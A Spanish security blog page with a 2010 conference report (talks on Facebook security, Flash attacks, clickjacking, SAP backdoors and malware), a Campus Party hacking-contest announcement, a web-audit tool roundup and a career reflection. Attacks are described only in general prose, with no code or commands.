La keynote del evento impartida nada más y nada menos que por el CSO (Chief Security Officer) de Facebook. Entre otras cosas, ha expuesto sobre las diferentes medidas que ha tenido que ir tomando Facebook contrarreloj ante los problemas de seguridad que han ido apareciendo; es lo más lógico, que al estar en constante evolución en cuanto a funcionalidad, la red social deja nuevos agujeros abiertos. Para ello dispone de un equipo de respuesta ante incidentes de seguridad, en la que la edad de los integrantes, ronda los 20 años de media. Dejó muy claro que lo primordial en Facebook es la protección de los datos personales de sus usuarios.

Fundamentalmente, dijo que la filosofía Facebook es no hacer excesivo caso a las vulnerabilidades (son muchas y más que aparecen según cambies cosas); aprende sobre las amenazas; invierte tiempo aprendiendo sobre los ataques que recibas (puesto que te enseñará lo necesario sobre los atacantes, que son EL problema); identifica y persigue a los "actores" (en eso Facebook tiene una gran experiencia, incluso ganando juicios millonarios).

Asimismo, dejó claro que Facebook utilizará todos los medios legales posibles para combatir a los "actores". Al menos es así en USA y Canadá,... en Europa, Sudamerica, Asia, etc, donde las leyes americanas no tienen nada que hacer, Facebook no tiene armas legales para combatir,... (increíble pero confirmado por él mismo en la sección de preguntas del final)

Tuvo muy en cuenta el diferenciar, entre Cumplimiento y Seguridad: "Evita ser demasiado cumplidor, porque entonces no harás seguridad" . Curioso que hablamos de esto hace poco en SbD.

Genial la keynote de Max!

* 10:00 - 11:15 FX "Defending the poor"

El ponente Félix FX Lindner, un conocido hacker alemán (que decía que llevaba poco tiempo en el lado blanco), nos deleitó con un espectacular análisis a las aplicaciones basadas en Flash, Java o Microsoft Silverlight (RIA/Rich Internet Applications). Estas aplicaciones se ejecutan sobre todo a través de los navegadores mediante plugins específicos.

Se centró sobre todo en Flash, cuyo propio panel de control está hecho en Flash y da muy pocas opciones, en comparación de las posibles que se pueden manipular mediante la configuración de un fichero llamado mms.cfg (no os creáis que permitir/denegar acceso a la cámara o al micrófono es lo único posible).

Flash permite además DNS rebinding, ejecución de UPnP (por ejemplo para reconfigurar un router ADSL remotamente, abriendo/cerrando puertos), CSRF, etc,... Existe mucho malware basado en flash (Gnida, TrojanDownloader.NAD, etc,...) que los antivirus no detectan del todo bien, sobre todo si está descomprimido (lo cuál sorprende aún más). Desarrolló una herramienta llamada "Blitzableiter" que parchea un fichero flash que se ejecute en AVM1, ante diversas vulnerabilidades (como poder ejecutar una instrucción Flash dependiendo de la versión declarada por el propio fichero, redirecciones de URL, ejecución de HTML, etc,...)

!!!!Después de una pausa para descanso, networking, etc, paso a la siguiente presentación.

* 11:30 - 12:45 Julien Tinnes y Chris Evans "Security in depth in Linux"

Por desgracia, llegué un poco tarde a esta charla, impartida por dos auténticos genios, empleados de Google, y en concreto responsables de la seguridad de Chrome, en la que expusieron diversas formas de llevar a cabo sandbox de verdad sobre Chromium. Lo que dejaron claro es que utilizar MAC (Mandatory Access Control) y virtualización no es suficiente.

* 13:45 - 15:00 Paul Stone "New Generation Clickjacking"

El Clickjacking es una forma de robar información sensible de una página web (generalmente un formulario) simplemente haciendo click en algún enlace o botón de otra página web que ejecute código malicioso.

Paul Stone, nos puso al día de nuevas formas de llevar a cabo este tipo de ataque, así como la adaptación del mismo a HTML5, que permite directamente, por ejemplo, técnicas de Drag & Drop. Así pues con una página en la que arrastraba una inocente rana a una licuadora, se veía cómo se generaba una inyección en un campo de texto de otra página (actualizaba un estado de un usuario Twitter ficticio) es decir, hacía un CSRF.

De este tipo de demostraciones hubo varias increibles, que incluso sin hacer click, sólo moviendo el ratón, en Firefox, se añadía texto en campos definidos en la página o hasta en la barra de direcciones del navegador!!! Como contramedidas indicaba cosas como prohibir los iframes en un site, utilizar X-Frame-Options, deshabilitar el Javascript (
que no siempre es posible dado que un gran porcentaje de las páginas actuales lo necesitan para su funcionamiento), Framebusting, ocultar u oscurecer el contenido...

Asimismo aprovechó para hacer pública una herramienta para generar páginas web maliciosas con ClickJacking.

* 15:15-16:30
Mariano Nuñez di Croce "SAP Backdoors"

Si hay alguien que sabe de los internals de SAP casi más que los ingenieros alemanes, es Mariano. Y nos lo demostró con una sesión con demo Live con máquinas virtuales, con todo lo que eso implica, que salió sin problemas. Para ser capaz de atacar SAP y poner una backdoor hay que comprometer con privilegios altos alguno de los componentes de SAP (Aplicación, Base de Datos, Sistema Operativo). Al haber confianza entre las 3 capas, si comprometes una, se compromete el sistema completo.

¿Cómo?
Hay varias formas. Por ejemplo, fallos en la SAPGUI (herramienta cliente de conexión a SAP). En versiones antiguas, el hashing de las contraseñas que se enviaba al servidor era un MD5 de 40 bits y como máximo de 8 caracteres. Esto evolucionó a usarse SHA-1, hashing mucho más seguro. Sin embargo, por compatibilidad hacia atrás hay que mantener el sistema de funcionamiento de hashes antiguos. Qué algoritmo de hashing se va a usar, depende de un parámetro llamado "login/password_downwards_compatibility" (aunque previamente hay que tener acceso con un usuario para modificar esa variable a un modo que incluso NO DEJA TRAZAS!!!).

Más formas es tratar de buscar vulnerabilidades en
el corazón de SAP: el SGBD.
Otra forma es mediante el programa ABAP que viene por defecto en SAP, SAPMSYST, que es que se encarga de gestionar la autenticación de los usuarios. Después de un par de movimientos, Mariano, al final añade una backdoor en un sistema SAP que envía a un servidor remoto las contraseñas de los clientes de la SAPGUI!!! Demostrado!

Además nos propuso diversas contramedidas para proteger las instalaciones SAP, como la utilización de una herramienta que aún no se ha publicado llamada "Integrity Analizer" (aún no disponible) que compara snapshots de diversos reports de ABAP, para comprobar la integridad de diferentes parámetros y cambios entre ellas.

* 16:45 - 18:00 Ero Carrera y Peter Silberman "State of Malware"

Ambos profesionales del mundo del análisis de malware y reverse enginering, dieron una detallada y técnica visión sobre cómo ha evolucionado el malware hasta nuestros días y como están interrelacionados entre ellos. Este tipo de análisis son imprescindibles para dar una eficiente respuesta ante incidentes causados por malware.

Quizá el mejor resumen del día completo haya sido el seguimiento que se hizo por el Twitter de Securitybydefault.

Agradecimientos:

En primer lugar a Jeff Moss fundador del congreso y a Nico Sell responsable de prensa, por haber tenido a bien invitarnos nuevamente.

A todos aquellos con los que pude compartir un rato y que amablemente se aceptaron que les entrevistara (más adelante) para el blog: Max Kelly, FX, Chris Evans, Mariano Nuñez Di Croce y Moxie Marlinspike.

Saludos a Chema Alonso, Anelkaos, Fermin J. Serna y José Selvi, compañeros del mundillo que nos juntamos por allí.
Leer más...

14 abril 2010

Campus Party Europe 2010 - Concurso de hacking

Hoy comienza la Campus Party Europe 2010 en la que participamos como coordinadores del área de seguridad.

Entre las actividades que más destacan en seguridad se encuentran las charlas de Stefano Di Paola  sobre seguridad web y Joanna Rutkowska que seguramente detallará más información de QubesOS. Ambas tendrán lugar el viernes 16, una a las 11.00 y a la otra a las 18.00. Lo que más me llama la atención son los pequeños workshops que se organizarán "entre horas" para el intercambio de ideas e información y el buen ambiente que ya empieza a respirarse en todo el evento.

Para esta edición tan especial de Campus, donde están aterrizando personas de toda la comunidad europea  hemos organizado un reto de hacking con la colaboración de un montón de conocidos y expertos en esta clase de concursos, como Miguel Gesteiro (@mgesteiro) y sus magnificas pruebas de seguridad web que tan perfectamente diseña y ha probado en muchos otros concursos. Eloi Sanfelix (@esanfelix) con varias pruebas de criptografía, Ruben Santamarta (@reversemode) que ha programado un crackme para entornos windows, Mario Ballano (@marioballano) con el último nivel de reversing (¡que rece el que le toque!) y Joxean Koret (@matalaz) con un binario para Linux. Desde SecurityByDefault, muchas gracias a todos ellos por su enorme ayuda.

Cuatro pruebas de distinto nivel en cuatro categorías diferentes: redes, web, binarios y criptografía, con valores de 100, 150, 200 y 250 puntos por reto más puntos adicionales según la dificultad de la prueba para el primero que la pase (1, 2, 3 ó 4).

Por desgracia las pruebas que no se solucionen no serán publicadas y en el concurso solo se puede participar si se asiste al evento. Como premios se distribuirá 2.000€ entre los tres primeros.

Puedes seguir el concurso en twitter con los hashtag: #cpeuwargame y #cpartyeu

¡Suerte a todos los participantes!
Leer más...

Herramientas de auditoría web

De la mano del SANS, nos llega una recopilación de herramientas para realizar auditorías web.

En la lista, las hay desde el veterano y conceptualmente 'un poco' desfasado Nikto, hasta poderosas herramientas tipo Proxy como Burp que permiten hacer literalmente virguerías, sin olvidar el LiveCD Samurai WTF del que ya hablamos en su día.




Personalmente en esa lista echo de menos al gran Paros (que aun estando algo descontinuado, tiene cosas realmente buenas). También echo a faltar muchas de las extensiones para FF que nombramos aquí

A ver si saco tiempo para probar las que no conozco de la lista
Leer más...

13 abril 2010

Seguridad: ¿vocación o moda?

Muchas veces me han preguntado, familiares, amigos o desconocidos en alguna entrevista laboral, que por qué me dediqué a esto de la seguridad informática y no a otra cosa. Cuando eliges una profesión a la que dedicarte, y si además tienes que pegarte 5 años de carrera o con algún módulo, tienes que tener muy claro en qué inviertes tu tiempo, y saber que no siempre va a haber trabajo para todos (con la situación laboral actual, aún menos).

Pero la pregunta es: ¿por qué elegiste esto y no otra cosa? En mi caso, no me llamaban la atención los ordenadores siquiera; me impresionaban más carreras como medicina o veterinaria, por aquello de hacer algo útil salvando vidas, sean humanas o no. Pero eso cambió en 2º de BUP (ufff que lejano suena). Tuve la suerte de que, en el pupitre detrás del mío, se sentara Domingo, uno de mis mejores amigos en la actualidad, que ayudó a que me ilusionara el mundo de las teclas. Dentro de todas las aplicaciones que tiene el mundo informático, creo que fue la suerte quien hizo que finalmente terminara en seguridad, puesto que cuando tuve que hacer el proyecto de fin de carrera, el profesor que abrió la puerta de su despacho esa tarde y me hizo una oferta fue Javier Areitio, "el de seguridad y redes" en mi Universidad.

Creo que cuando te planteas a qué dedicarte, hay que verse a sí mismo en 10 o 20 años más y, aparte de imaginarte con más canas y menos pelo, hay que pensar si te ves capaz de que dedicarte a eso durante toda tu vida. También es verdad que reciclarse a otra profesión,es posible, pero el cambio de opinión es más costoso.

No todo el mundo se dedica a la seguridad (o a la informática) porque haya recibido formación reglada en una universidad, sino que han sido autodidactas, lo que es aún más meritorio. En esos casos, en los que no es que sólo se les da bien, sino que "lo viven", que piensan varios pasos más adelante, lo que parece impensable es el dedicarse a otra cosa como medio de vida.

Ahora bien, no sólo basta con que a tí te guste esa profesión y creas que puedes estar toda tu vida dependiendo de tu magia y creatividad sobre unas teclas para sobrevivir o mantener a una familia. El mundo de la filatelia, numismática y colombofilia (como don Pantuflo el padre de Zipi y Zape) puede apasionarte, pero si no ves que puedas llegar a fin de mes, puede ser mejor planteárselo como afición.

El sentido común invita a creer que en el mundo actual y futuro, las empresas y los particulares se comunican cibernéticamente cada vez más y más. Por tanto, mientras haya que garantizar la seguridad de los servicios y siga habiendo vulnerabilidades y riesgos, parece ser que la demanda de expertos en seguridad siempre va a existir.

Y tú,... ¿por qué te dedicas a seguridad? ¿tienes claro por qué quieres vivir de esto? ¿lo estás pensando y por qué no te decides?
Leer más...